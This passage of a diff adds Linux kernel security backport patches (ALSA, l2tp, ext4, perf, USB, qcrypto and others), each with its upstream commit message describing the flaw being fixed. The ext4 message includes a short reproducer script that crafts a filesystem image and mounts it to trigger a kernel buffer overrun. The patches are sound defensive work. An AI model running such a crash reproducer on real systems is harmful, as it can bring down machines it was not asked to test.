-714,7 +714,7 @@ + * returning the value we actually used in getsockopt + * is the most desirable behavior. + */ +- sk->sk_rcvbuf = max_t(u32, val * 2, SOCK_MIN_RCVBUF); ++ sk->sk_rcvbuf = max_t(int, val * 2, SOCK_MIN_RCVBUF); + break; + + case SO_RCVBUFFORCE: diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0320-a27178e05b7c-ALSA pcm Call killfasync in stream lock.patch b/recipes-kernel/linux/linux-bass/autopatcher/0320-a27178e05b7c-ALSA pcm Call killfasync in stream lock.patch new file mode 100644 index 0000000..795c5dd --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0320-a27178e05b7c-ALSA pcm Call killfasync in stream lock.patch @@ -0,0 +1,49 @@ +From a27178e05b7c332522df40904f27674e36ee3757 Mon Sep 17 00:00:00 2001 +From: Takashi Iwai +Date: Mon, 12 Dec 2016 17:33:06 +0100 +Subject: ALSA: pcm : Call kill_fasync() in stream lock + +commit 3aa02cb664c5fb1042958c8d1aa8c35055a2ebc4 upstream. + +Currently kill_fasync() is called outside the stream lock in +snd_pcm_period_elapsed(). This is potentially racy, since the stream +may get released even during the irq handler is running. Although +snd_pcm_release_substream() calls snd_pcm_drop(), this doesn't +guarantee that the irq handler finishes, thus the kill_fasync() call +outside the stream spin lock may be invoked after the substream is +detached, as recently reported by KASAN. + +As a quick workaround, move kill_fasync() call inside the stream +lock. The fasync is rarely used interface, so this shouldn't have a +big impact from the performance POV. + +Ideally, we should implement some sync mechanism for the proper finish +of stream and irq handler. But this oneliner should suffice for most +cases, so far. + +Reported-by: Baozeng Ding +Signed-off-by: Takashi Iwai +Signed-off-by: Willy Tarreau +--- + sound/core/pcm_lib.c | 2 +- + 1 file changed, 1 insertion(+), 1 deletion(-) + +diff --git a/sound/core/pcm_lib.c b/sound/core/pcm_lib.c +index 8eddece217bb..dfed3ef02475 100644 +--- a/sound/core/pcm_lib.c ++++ b/sound/core/pcm_lib.c +@@ -1856,10 +1856,10 @@ void snd_pcm_period_elapsed(struct snd_pcm_substream *substream) + if (substream->timer_running) + snd_timer_interrupt(substream->timer, 1); + _end: ++ kill_fasync(&runtime->fasync, SIGIO, POLL_IN); + snd_pcm_stream_unlock_irqrestore(substream, flags); + if (runtime->transfer_ack_end) + runtime->transfer_ack_end(substream); +- kill_fasync(&runtime->fasync, SIGIO, POLL_IN); + } + + EXPORT_SYMBOL(snd_pcm_period_elapsed); +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0321.diff b/recipes-kernel/linux/linux-bass/autopatcher/0321.diff new file mode 100644 index 0000000..ea964df --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0321.diff @@ -0,0 +1,22 @@ +diff --git a/fs/aio.c b/fs/aio.c +index 9798d4e..0f2c38f 100644 +--- a/fs/aio.c ++++ b/fs/aio.c +@@ -35,6 +35,7 @@ + #include + #include + #include ++#include + + #include + #include +@@ -153,6 +154,9 @@ + unsigned long size, populate; + int nr_pages; + ++ if (current->personality & READ_IMPLIES_EXEC) ++ return -EPERM; ++ + /* Compensate for the ring buffer's head/tail overlap entry */ + nr_events += 2; /* 1 is required, 2 for good luck */ + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0322-fa3f55df7d5a-ipv6 stop sending PTB packets for MTU 1280.patch b/recipes-kernel/linux/linux-bass/autopatcher/0322-fa3f55df7d5a-ipv6 stop sending PTB packets for MTU 1280.patch new file mode 100644 index 0000000..de605f9 --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0322-fa3f55df7d5a-ipv6 stop sending PTB packets for MTU 1280.patch @@ -0,0 +1,47 @@ +From fa3f55df7d5ae2d978024dda5b236c645a7c7819 Mon Sep 17 00:00:00 2001 +From: Hagen Paul Pfeifer +Date: Thu, 15 Jan 2015 22:34:25 +0100 +Subject: ipv6: stop sending PTB packets for MTU < 1280 + +[ Upstream commit 9d289715eb5c252ae15bd547cb252ca547a3c4f2 ] + +Reduce the attack vector and stop generating IPv6 Fragment Header for +paths with an MTU smaller than the minimum required IPv6 MTU +size (1280 byte) - called atomic fragments. + +See IETF I-D "Deprecating the Generation of IPv6 Atomic Fragments" [1] +for more information and how this "feature" can be misused. + +[1] https://tools.ietf.org/html/draft-ietf-6man-deprecate-atomfrag-generation-00 + +Signed-off-by: Fernando Gont +Signed-off-by: Hagen Paul Pfeifer +Acked-by: Hannes Frederic Sowa +Signed-off-by: David S. Miller +Signed-off-by: Greg Kroah-Hartman +--- + net/ipv6/route.c | 7 ++----- + 1 file changed, 2 insertions(+), 5 deletions(-) + +diff --git a/net/ipv6/route.c b/net/ipv6/route.c +index b2614b22622b..92274796eb71 100644 +--- a/net/ipv6/route.c ++++ b/net/ipv6/route.c +@@ -1141,12 +1141,9 @@ static void ip6_rt_update_pmtu(struct dst_entry *dst, struct sock *sk, + struct net *net = dev_net(dst->dev); + + rt6->rt6i_flags |= RTF_MODIFIED; +- if (mtu < IPV6_MIN_MTU) { +- u32 features = dst_metric(dst, RTAX_FEATURES); ++ if (mtu < IPV6_MIN_MTU) + mtu = IPV6_MIN_MTU; +- features |= RTAX_FEATURE_ALLFRAG; +- dst_metric_set(dst, RTAX_FEATURES, features); +- } ++ + dst_metric_set(dst, RTAX_MTU, mtu); + rt6_update_expires(rt6, net->ipv6.sysctl.ip6_rt_mtu_expires); + } +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0323.diff b/recipes-kernel/linux/linux-bass/autopatcher/0323.diff new file mode 100644 index 0000000..81c8970 --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0323.diff @@ -0,0 +1,46 @@ +diff --git a/net/l2tp/l2tp_ip.c b/net/l2tp/l2tp_ip.c +index da1a1ce..31317f0 100644 +--- a/net/l2tp/l2tp_ip.c ++++ b/net/l2tp/l2tp_ip.c +@@ -249,8 +249,6 @@ + int ret; + int chk_addr_ret; + +- if (!sock_flag(sk, SOCK_ZAPPED)) +- return -EINVAL; + if (addr_len < sizeof(struct sockaddr_l2tpip)) + return -EINVAL; + if (addr->l2tp_family != AF_INET) +@@ -265,6 +263,9 @@ + read_unlock_bh(&l2tp_ip_lock); + + lock_sock(sk); ++ if (!sock_flag(sk, SOCK_ZAPPED)) ++ goto out; ++ + if (sk->sk_state != TCP_CLOSE || addr_len < sizeof(struct sockaddr_l2tpip)) + goto out; + +diff --git a/net/l2tp/l2tp_ip6.c b/net/l2tp/l2tp_ip6.c +index a10702d..e0d1c86 100644 +--- a/net/l2tp/l2tp_ip6.c ++++ b/net/l2tp/l2tp_ip6.c +@@ -264,8 +264,6 @@ + int addr_type; + int err; + +- if (!sock_flag(sk, SOCK_ZAPPED)) +- return -EINVAL; + if (addr->l2tp_family != AF_INET6) + return -EINVAL; + if (addr_len < sizeof(*addr)) +@@ -291,6 +289,9 @@ + lock_sock(sk); + + err = -EINVAL; ++ if (!sock_flag(sk, SOCK_ZAPPED)) ++ goto out_unlock; ++ + if (sk->sk_state != TCP_CLOSE) + goto out_unlock; + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0324-188b2ebb3675-ext4 validate sfirstmetabg at mount time.patch b/recipes-kernel/linux/linux-bass/autopatcher/0324-188b2ebb3675-ext4 validate sfirstmetabg at mount time.patch new file mode 100644 index 0000000..ed7d1e5 --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0324-188b2ebb3675-ext4 validate sfirstmetabg at mount time.patch @@ -0,0 +1,74 @@ +From 188b2ebb367591a1841825294f21f30186743186 Mon Sep 17 00:00:00 2001 +From: Eryu Guan +Date: Thu, 1 Dec 2016 15:08:37 -0500 +Subject: ext4: validate s_first_meta_bg at mount time + +commit 3a4b77cd47bb837b8557595ec7425f281f2ca1fe upstream. + +Ralf Spenneberg reported that he hit a kernel crash when mounting a +modified ext4 image. And it turns out that kernel crashed when +calculating fs overhead (ext4_calculate_overhead()), this is because +the image has very large s_first_meta_bg (debug code shows it's +842150400), and ext4 overruns the memory in count_overhead() when +setting bitmap buffer, which is PAGE_SIZE. + +ext4_calculate_overhead(): + buf = get_zeroed_page(GFP_NOFS); <=== PAGE_SIZE buffer + blks = count_overhead(sb, i, buf); + +count_overhead(): + for (j = ext4_bg_num_gdb(sb, grp); j > 0; j--) { <=== j = 842150400 + ext4_set_bit(EXT4_B2C(sbi, s++), buf); <=== buffer overrun + count++; + } + +This can be reproduced easily for me by this script: + + #!/bin/bash + rm -f fs.img + mkdir -p /mnt/ext4 + fallocate -l 16M fs.img + mke2fs -t ext4 -O bigalloc,meta_bg,^resize_inode -F fs.img + debugfs -w -R "ssv first_meta_bg 842150400" fs.img + mount -o loop fs.img /mnt/ext4 + +Fix it by validating s_first_meta_bg first at mount time, and +refusing to mount if its value exceeds the largest possible meta_bg +number. + +[js] use EXT4_HAS_INCOMPAT_FEATURE instead of new + ext4_has_feature_meta_bg + +Reported-by: Ralf Spenneberg +Signed-off-by: Eryu Guan +Signed-off-by: Theodore Ts'o +Reviewed-by: Andreas Dilger +Signed-off-by: Jiri Slaby +Signed-off-by: Willy Tarreau +--- + fs/ext4/super.c | 9 +++++++++ + 1 file changed, 9 insertions(+) + +diff --git a/fs/ext4/super.c b/fs/ext4/super.c +index d609efd6db85..b44dc2874f53 100644 +--- a/fs/ext4/super.c ++++ b/fs/ext4/super.c +@@ -3777,6 +3777,15 @@ static int ext4_fill_super(struct super_block *sb, void *data, int silent) + (EXT4_MAX_BLOCK_FILE_PHYS / EXT4_BLOCKS_PER_GROUP(sb))); + db_count = (sbi->s_groups_count + EXT4_DESC_PER_BLOCK(sb) - 1) / + EXT4_DESC_PER_BLOCK(sb); ++ if (EXT4_HAS_INCOMPAT_FEATURE(sb, EXT4_FEATURE_INCOMPAT_META_BG)) { ++ if (le32_to_cpu(es->s_first_meta_bg) >= db_count) { ++ ext4_msg(sb, KERN_WARNING, ++ "first meta block group too large: %u " ++ "(group descriptor block count %u)", ++ le32_to_cpu(es->s_first_meta_bg), db_count); ++ goto failed_mount; ++ } ++ } + sbi->s_group_desc = ext4_kvmalloc(db_count * + sizeof(struct buffer_head *), + GFP_KERNEL); +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0325-bd9a8fc6d7f6-qcrypto protect potential integer overflow.patch b/recipes-kernel/linux/linux-bass/autopatcher/0325-bd9a8fc6d7f6-qcrypto protect potential integer overflow.patch new file mode 100644 index 0000000..91af102 --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0325-bd9a8fc6d7f6-qcrypto protect potential integer overflow.patch @@ -0,0 +1,35 @@ +From bd9a8fc6d7f6bd1a0b936994630006de450df657 Mon Sep 17 00:00:00 2001 +From: Neeraj Soni +Date: Mon, 28 Nov 2016 18:23:33 +0530 +Subject: qcrypto: protect potential integer overflow. + +Adding user passed parameters without check might +lead to Integer overflow and unpredictable system +behaviour. + +Change-Id: Iaf8259e3c4a157e1790f1447b1b62a646988b7c4 +Signed-off-by: Neeraj Soni +--- + drivers/crypto/msm/qce50.c | 6 ++++++ + 1 file changed, 6 insertions(+) + +diff --git a/drivers/crypto/msm/qce50.c b/drivers/crypto/msm/qce50.c +index b33d879..9788e0e 100644 +--- a/drivers/crypto/msm/qce50.c ++++ b/drivers/crypto/msm/qce50.c +@@ -4913,6 +4913,12 @@ int qce_aead_req(void *handle, struct qce_req *q_req) + else + q_req->cryptlen = areq->cryptlen - authsize; + ++ if ((q_req->cryptlen > UINT_MAX - areq->assoclen) || ++ (q_req->cryptlen + areq->assoclen > UINT_MAX - ivsize)) { ++ pr_err("Integer overflow on total aead req length.\n"); ++ return -EINVAL; ++ } ++ + totallen = q_req->cryptlen + areq->assoclen + ivsize; + + if (pce_dev->support_cmd_dscr) { +-- +cgit v1.1 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0326-4e24fd546621-x86entrycompat Add missing CLAC to entryINT8032.patch b/recipes-kernel/linux/linux-bass/autopatcher/0326-4e24fd546621-x86entrycompat Add missing CLAC to entryINT8032.patch new file mode 100644 index 0000000..6bb0071 --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0326-4e24fd546621-x86entrycompat Add missing CLAC to entryINT8032.patch @@ -0,0 +1,50 @@ +From 4e24fd54662144e7ed6aa4ca6279dc6cf29dd57e Mon Sep 17 00:00:00 2001 +From: Andy Lutomirski +Date: Wed, 24 Feb 2016 12:18:49 -0800 +Subject: x86/entry/compat: Add missing CLAC to entry_INT80_32 + +commit 3d44d51bd339766f0178f0cf2e8d048b4a4872aa upstream. + +This doesn't seem to fix a regression -- I don't think the CLAC was +ever there. + +I double-checked in a debugger: entries through the int80 gate do +not automatically clear AC. + +Stable maintainers: I can provide a backport to 4.3 and earlier if +needed. This needs to be backported all the way to 3.10. + +Reported-by: Brian Gerst +Signed-off-by: Andy Lutomirski +Cc: Andy Lutomirski +Cc: Borislav Petkov +Cc: Denys Vlasenko +Cc: H. Peter Anvin +Cc: Linus Torvalds +Cc: Peter Zijlstra +Cc: Thomas Gleixner +Fixes: 63bcff2a307b ("x86, smap: Add STAC and CLAC instructions to control user space access") +Link: http://lkml.kernel.org/r/b02b7e71ae54074be01fc171cbd4b72517055c0e.1456345086.git.luto@kernel.org +Signed-off-by: Ingo Molnar +[ kamal: backport to 3.10 through 3.19-stable: file rename; context ] +Signed-off-by: Kamal Mostafa +Signed-off-by: Greg Kroah-Hartman +--- + arch/x86/ia32/ia32entry.S | 1 + + 1 file changed, 1 insertion(+) + +diff --git a/arch/x86/ia32/ia32entry.S b/arch/x86/ia32/ia32entry.S +index c9305ef1d4113..e73982b935377 100644 +--- a/arch/x86/ia32/ia32entry.S ++++ b/arch/x86/ia32/ia32entry.S +@@ -422,6 +422,7 @@ ENTRY(ia32_syscall) + /*CFI_REL_OFFSET cs,CS-RIP*/ + CFI_REL_OFFSET rip,RIP-RIP + PARAVIRT_ADJUST_EXCEPTION_FRAME ++ ASM_CLAC /* Do this early to minimize exposure */ + SWAPGS + /* + * No need to follow this irqs on/off section: the syscall +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0327-7682e399485f-PATCH ALSA usx2y Suppress kernel warning at page allocation.patch b/recipes-kernel/linux/linux-bass/autopatcher/0327-7682e399485f-PATCH ALSA usx2y Suppress kernel warning at page allocation.patch new file mode 100644 index 0000000..dfcbd42 --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0327-7682e399485f-PATCH ALSA usx2y Suppress kernel warning at page allocation.patch @@ -0,0 +1,56 @@ +From 7682e399485fe19622b6fd82510b1f4551e48a25 Mon Sep 17 00:00:00 2001 +From: Takashi Iwai +Date: Mon, 2 Oct 2017 14:06:43 +0200 +Subject: [PATCH] ALSA: usx2y: Suppress kernel warning at page allocation + failures + +The usx2y driver allocates the stream read/write buffers in continuous +pages depending on the stream setup, and this may spew the kernel +warning messages with a stack trace like: + WARNING: CPU: 1 PID: 1846 at mm/page_alloc.c:3883 + __alloc_pages_slowpath+0x1ef2/0x2d70 + Modules linked in: + CPU: 1 PID: 1846 Comm: kworker/1:2 Not tainted + .... + +It may confuse user as if it were any serious error, although this is +no fatal error and the driver handles the error case gracefully. +Since the driver has already some sanity check of the given size (128 +and 256 pages), it can't pass any crazy value. So it's merely page +fragmentation. + +This patch adds __GFP_NOWARN to each caller for suppressing such +kernel warnings. The original issue was spotted by syzkaller. + +Reported-by: Andrey Konovalov +Tested-by: Andrey Konovalov +Cc: +Signed-off-by: Takashi Iwai +--- + sound/usb/usx2y/usb_stream.c | 6 ++++-- + 1 file changed, 4 insertions(+), 2 deletions(-) + +diff --git a/sound/usb/usx2y/usb_stream.c b/sound/usb/usx2y/usb_stream.c +index 4dab490807009..e229abd216526 100644 +--- a/sound/usb/usx2y/usb_stream.c ++++ b/sound/usb/usx2y/usb_stream.c +@@ -191,7 +191,8 @@ struct usb_stream *usb_stream_new(struct usb_stream_kernel *sk, + } + + pg = get_order(read_size); +- sk->s = (void *) __get_free_pages(GFP_KERNEL|__GFP_COMP|__GFP_ZERO, pg); ++ sk->s = (void *) __get_free_pages(GFP_KERNEL|__GFP_COMP|__GFP_ZERO| ++ __GFP_NOWARN, pg); + if (!sk->s) { + snd_printk(KERN_WARNING "couldn't __get_free_pages()\n"); + goto out; +@@ -211,7 +212,8 @@ struct usb_stream *usb_stream_new(struct usb_stream_kernel *sk, + pg = get_order(write_size); + + sk->write_page = +- (void *)__get_free_pages(GFP_KERNEL|__GFP_COMP|__GFP_ZERO, pg); ++ (void *)__get_free_pages(GFP_KERNEL|__GFP_COMP|__GFP_ZERO| ++ __GFP_NOWARN, pg); + if (!sk->write_page) { + snd_printk(KERN_WARNING "couldn't __get_free_pages()\n"); + usb_stream_free(sk); diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0328-0a8fd1346254-PATCH USB fix problems with duplicate endpoint addresses.patch b/recipes-kernel/linux/linux-bass/autopatcher/0328-0a8fd1346254-PATCH USB fix problems with duplicate endpoint addresses.patch new file mode 100644 index 0000000..f28a1e6 --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0328-0a8fd1346254-PATCH USB fix problems with duplicate endpoint addresses.patch @@ -0,0 +1,74 @@ +From 0a8fd1346254974c3a852338508e4a4cddbb35f1 Mon Sep 17 00:00:00 2001 +From: Alan Stern +Date: Mon, 19 Dec 2016 12:03:41 -0500 +Subject: [PATCH] USB: fix problems with duplicate endpoint addresses + +When checking a new device's descriptors, the USB core does not check +for duplicate endpoint addresses. This can cause a problem when the +sysfs files for those endpoints are created; trying to create multiple +files with the same name will provoke a WARNING: + +WARNING: CPU: 2 PID: 865 at fs/sysfs/dir.c:31 sysfs_warn_dup+0x8a/0xa0 +sysfs: cannot create duplicate filename +'/devices/platform/dummy_hcd.0/usb2/2-1/2-1:64.0/ep_05' +Kernel panic - not syncing: panic_on_warn set ... + +CPU: 2 PID: 865 Comm: kworker/2:1 Not tainted 4.9.0-rc7+ #34 +Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS Bochs 01/01/2011 +Workqueue: usb_hub_wq hub_event + ffff88006bee64c8 ffffffff81f96b8a ffffffff00000001 1ffff1000d7dcc2c + ffffed000d7dcc24 0000000000000001 0000000041b58ab3 ffffffff8598b510 + ffffffff81f968f8 ffffffff850fee20 ffffffff85cff020 dffffc0000000000 +Call Trace: + [< inline >] __dump_stack lib/dump_stack.c:15 + [] dump_stack+0x292/0x398 lib/dump_stack.c:51 + [] panic+0x1cb/0x3a9 kernel/panic.c:179 + [] __warn+0x1c4/0x1e0 kernel/panic.c:542 + [] warn_slowpath_fmt+0xc5/0x110 kernel/panic.c:565 + [] sysfs_warn_dup+0x8a/0xa0 fs/sysfs/dir.c:30 + [] sysfs_create_dir_ns+0x178/0x1d0 fs/sysfs/dir.c:59 + [< inline >] create_dir lib/kobject.c:71 + [] kobject_add_internal+0x227/0xa60 lib/kobject.c:229 + [< inline >] kobject_add_varg lib/kobject.c:366 + [] kobject_add+0x139/0x220 lib/kobject.c:411 + [] device_add+0x353/0x1660 drivers/base/core.c:1088 + [] device_register+0x1d/0x20 drivers/base/core.c:1206 + [] usb_create_ep_devs+0x163/0x260 drivers/usb/core/endpoint.c:195 + [] create_intf_ep_devs+0x13b/0x200 drivers/usb/core/message.c:1030 + [] usb_set_configuration+0x1083/0x18d0 drivers/usb/core/message.c:1937 + [] generic_probe+0x6e/0xe0 drivers/usb/core/generic.c:172 + [] usb_probe_device+0xaa/0xe0 drivers/usb/core/driver.c:263 + +This patch prevents the problem by checking for duplicate endpoint +addresses during enumeration and skipping any duplicates. + +Signed-off-by: Alan Stern +Reported-by: Andrey Konovalov +Tested-by: Andrey Konovalov +CC: +Signed-off-by: Greg Kroah-Hartman +--- + drivers/usb/core/config.c | 10 ++++++++++ + 1 file changed, 10 insertions(+) + +diff --git a/drivers/usb/core/config.c b/drivers/usb/core/config.c +index 0aa9e7d697a5d..25dbd8c7aec73 100644 +--- a/drivers/usb/core/config.c ++++ b/drivers/usb/core/config.c +@@ -239,6 +239,16 @@ static int usb_parse_endpoint(struct device *ddev, int cfgno, int inum, + if (ifp->desc.bNumEndpoints >= num_ep) + goto skip_to_next_endpoint_or_interface_descriptor; + ++ /* Check for duplicate endpoint addresses */ ++ for (i = 0; i < ifp->desc.bNumEndpoints; ++i) { ++ if (ifp->endpoint[i].desc.bEndpointAddress == ++ d->bEndpointAddress) { ++ dev_warn(ddev, "config %d interface %d altsetting %d has a duplicate endpoint with address 0x%X, skipping\n", ++ cfgno, inum, asnum, d->bEndpointAddress); ++ goto skip_to_next_endpoint_or_interface_descriptor; ++ } ++ } ++ + endpoint = &ifp->endpoint[ifp->desc.bNumEndpoints]; + ++ifp->desc.bNumEndpoints; + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0329-f9a1c372299f-PATCH ALSA usx2y Fix invalid stream URBs.patch b/recipes-kernel/linux/linux-bass/autopatcher/0329-f9a1c372299f-PATCH ALSA usx2y Fix invalid stream URBs.patch new file mode 100644 index 0000000..f33cb0d --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0329-f9a1c372299f-PATCH ALSA usx2y Fix invalid stream URBs.patch @@ -0,0 +1,96 @@ +From f9a1c372299fed53d4b72bb601f7f3bfe6f9999c Mon Sep 17 00:00:00 2001 +From: Takashi Iwai +Date: Mon, 6 Nov 2017 10:47:14 +0100 +Subject: [PATCH] ALSA: usx2y: Fix invalid stream URBs + +The us122l driver creates URBs per the fixed endpoints, and this may +end up with URBs with inconsistent pipes when a fuzzer or a malicious +program deals with the manipulated endpoints. It ends up with a +kernel warning like: + + usb 1-1: BOGUS urb xfer, pipe 0 != type 3 + ------------[ cut here ]------------ + WARNING: CPU: 0 PID: 24 at drivers/usb/core/urb.c:471 + usb_submit_urb+0x113e/0x1400 + Call Trace: + usb_stream_start+0x48a/0x9f0 sound/usb/usx2y/usb_stream.c:690 + us122l_start+0x116/0x290 sound/usb/usx2y/us122l.c:365 + us122l_create_card sound/usb/usx2y/us122l.c:502 + us122l_usb_probe sound/usb/usx2y/us122l.c:588 + .... + +For avoiding the bad access, this patch adds a few sanity checks of +the validity of created URBs like previous similar fixes using the new +usb_urb_ep_type_check() helper function. + +Reported-by: Andrey Konovalov +Tested-by: Andrey Konovalov +Signed-off-by: Takashi Iwai +--- + sound/usb/usx2y/usb_stream.c | 23 +++++++++++++++++------ + 1 file changed, 17 insertions(+), 6 deletions(-) + +diff --git a/sound/usb/usx2y/usb_stream.c b/sound/usb/usx2y/usb_stream.c +index e229abd216526..b0f8979ff2d2f 100644 +--- a/sound/usb/usx2y/usb_stream.c ++++ b/sound/usb/usx2y/usb_stream.c +@@ -56,7 +56,7 @@ static void playback_prep_freqn(struct usb_stream_kernel *sk, struct urb *urb) + lb, s->period_size); + } + +-static void init_pipe_urbs(struct usb_stream_kernel *sk, unsigned use_packsize, ++static int init_pipe_urbs(struct usb_stream_kernel *sk, unsigned use_packsize, + struct urb **urbs, char *transfer, + struct usb_device *dev, int pipe) + { +@@ -77,6 +77,8 @@ static void init_pipe_urbs(struct usb_stream_kernel *sk, unsigned use_packsize, + urb->interval = 1; + if (usb_pipeout(pipe)) + continue; ++ if (usb_urb_ep_type_check(urb)) ++ return -EINVAL; + + urb->transfer_buffer_length = transfer_length; + desc = urb->iso_frame_desc; +@@ -87,9 +89,11 @@ static void init_pipe_urbs(struct usb_stream_kernel *sk, unsigned use_packsize, + desc[p].length = maxpacket; + } + } ++ ++ return 0; + } + +-static void init_urbs(struct usb_stream_kernel *sk, unsigned use_packsize, ++static int init_urbs(struct usb_stream_kernel *sk, unsigned use_packsize, + struct usb_device *dev, int in_pipe, int out_pipe) + { + struct usb_stream *s = sk->s; +@@ -103,9 +107,12 @@ static void init_urbs(struct usb_stream_kernel *sk, unsigned use_packsize, + sk->outurb[u] = usb_alloc_urb(sk->n_o_ps, GFP_KERNEL); + } + +- init_pipe_urbs(sk, use_packsize, sk->inurb, indata, dev, in_pipe); +- init_pipe_urbs(sk, use_packsize, sk->outurb, sk->write_page, dev, +- out_pipe); ++ if (init_pipe_urbs(sk, use_packsize, sk->inurb, indata, dev, in_pipe) || ++ init_pipe_urbs(sk, use_packsize, sk->outurb, sk->write_page, dev, ++ out_pipe)) ++ return -EINVAL; ++ ++ return 0; + } + + +@@ -226,7 +233,11 @@ struct usb_stream *usb_stream_new(struct usb_stream_kernel *sk, + else + sk->freqn = get_usb_high_speed_rate(sample_rate); + +- init_urbs(sk, use_packsize, dev, in_pipe, out_pipe); ++ if (init_urbs(sk, use_packsize, dev, in_pipe, out_pipe) < 0) { ++ usb_stream_free(sk); ++ return NULL; ++ } ++ + sk->s->state = usb_stream_stopped; + out: + return sk->s; diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0330-2c5c1fd0d2a2-PATCH perf dont leave groupentry on sibling list.patch b/recipes-kernel/linux/linux-bass/autopatcher/0330-2c5c1fd0d2a2-PATCH perf dont leave groupentry on sibling list.patch new file mode 100644 index 0000000..6de691a --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0330-2c5c1fd0d2a2-PATCH perf dont leave groupentry on sibling list.patch @@ -0,0 +1,42 @@ +From 2c5c1fd0d2a2a96fab750fa332cb703022c16c04 Mon Sep 17 00:00:00 2001 +From: John Dias +Date: Wed, 9 Nov 2016 11:03:57 -0800 +Subject: [PATCH] perf: don't leave group_entry on sibling list + (use-after-free) + +When perf_group_detach is called on a group leader, +it should empty its sibling list. Otherwise, when +a sibling is later deallocated, list_del_event() +removes the sibling's group_entry from its current +list, which can be the now-deallocated group leader's +sibling list (use-after-free bug). + +Bug: 32402548 +Change-Id: I99f6bc97c8518df1cb0035814368012ba72ab1f1 +Signed-off-by: John Dias +--- + kernel/events/core.c | 7 +++++++ + 1 file changed, 7 insertions(+) + +diff --git a/kernel/events/core.c b/kernel/events/core.c +index 01eab13ec0e7e..b7e1e224f07e9 100644 +--- a/kernel/events/core.c ++++ b/kernel/events/core.c +@@ -1449,10 +1449,17 @@ static void perf_group_detach(struct perf_event *event) + * If this was a group event with sibling events then + * upgrade the siblings to singleton events by adding them + * to whatever list we are on. ++ * If this isn't on a list, make sure we still remove the sibling's ++ * group_entry from this sibling_list; otherwise, when that sibling ++ * is later deallocated, it will try to remove itself from this ++ * sibling_list, which may well have been deallocated already, ++ * resulting in a use-after-free. + */ + list_for_each_entry_safe(sibling, tmp, &event->sibling_list, group_entry) { + if (list) + list_move_tail(&sibling->group_entry, list); ++ else ++ list_del_init(&sibling->group_entry); + sibling->group_leader = sibling; + + /* Inherit group flags from the previous leader */ diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0331-4faa6d2e9b53-PATCH ALSA info Check for integer overflow in.patch b/recipes-kernel/linux/linux-bass/autopatcher/0331-4faa6d2e9b53-PATCH ALSA info Check for integer overflow in.patch new file mode 100644 index 0000000..3b802d6 --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0331-4faa6d2e9b53-PATCH ALSA info Check for integer overflow in.patch @@ -0,0 +1,41 @@ +From 4faa6d2e9b53546823882d8889820ff9ce3c372f Mon Sep 17 00:00:00 2001 +From: Siqi Lin +Date: Wed, 2 Nov 2016 16:51:08 -0700 +Subject: [PATCH] ALSA: info: Check for integer overflow in + snd_info_entry_write() + +snd_info_entry_write() resizes the buffer with an unsigned long +size argument that gets truncated because resize_info_buffer() +takes the size parameter as an unsigned int. On 64-bit kernels, +this causes the following copy_to_user() to write out-of-bounds +if (pos + count) can't be represented by an unsigned int. + +Bug: 32510733 +Change-Id: I9e8b55f93f2bd606b4a73b5a4525b71ee88c7c23 +Signed-off-by: Siqi Lin +--- + sound/core/info.c | 4 +++- + 1 file changed, 3 insertions(+), 1 deletion(-) + +diff --git a/sound/core/info.c b/sound/core/info.c +index 418b4ec43cadb..a4af0ba92d30f 100644 +--- a/sound/core/info.c ++++ b/sound/core/info.c +@@ -253,6 +253,7 @@ static ssize_t snd_info_entry_write(struct file *file, const char __user *buffer + struct snd_info_buffer *buf; + ssize_t size = 0; + loff_t pos; ++ unsigned long realloc_size; + + data = file->private_data; + if (snd_BUG_ON(!data)) +@@ -261,7 +262,8 @@ static ssize_t snd_info_entry_write(struct file *file, const char __user *buffer + pos = *offset; + if (pos < 0 || (long) pos != pos || (ssize_t) count < 0) + return -EIO; +- if ((unsigned long) pos + (unsigned long) count < (unsigned long) pos) ++ realloc_size = (unsigned long) pos + (unsigned long) count; ++ if (realloc_size < (unsigned long) pos || realloc_size > UINT_MAX) + return -EIO; + switch (entry->content) { + case SNDRV_INFO_CONTENT_TEXT: diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0332-5db4167c9924-PATCH fsprocarrayc make safe access to groupleader.patch b/recipes-kernel/linux/linux-bass/autopatcher/0332-5db4167c9924-PATCH fsprocarrayc make safe access to groupleader.patch new file mode 100644 index 0000000..8e686e8 --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0332-5db4167c9924-PATCH fsprocarrayc make safe access to groupleader.patch @@ -0,0 +1,76 @@ +From 5db4167c9924c68ab9554bba3a98ecfd14b91a8e Mon Sep 17 00:00:00 2001 +From: Adrian Salido +Date: Thu, 1 Dec 2016 18:07:42 -0800 +Subject: [PATCH] fs/proc/array.c: make safe access to group_leader + +As mentioned in commit 52ee2dfdd4f51cf422ea6a96a0846dc94244aa37 +("pids: refactor vnr/nr_ns helpers to make them safe"). *_nr_ns +helpers used to be buggy. The commit addresses most of the helpers but +is missing task_tgid_xxx() + +Without this protection there is a possible use after free reported by +kasan instrumented kernel: + +================================================================== +BUG: KASAN: use-after-free in 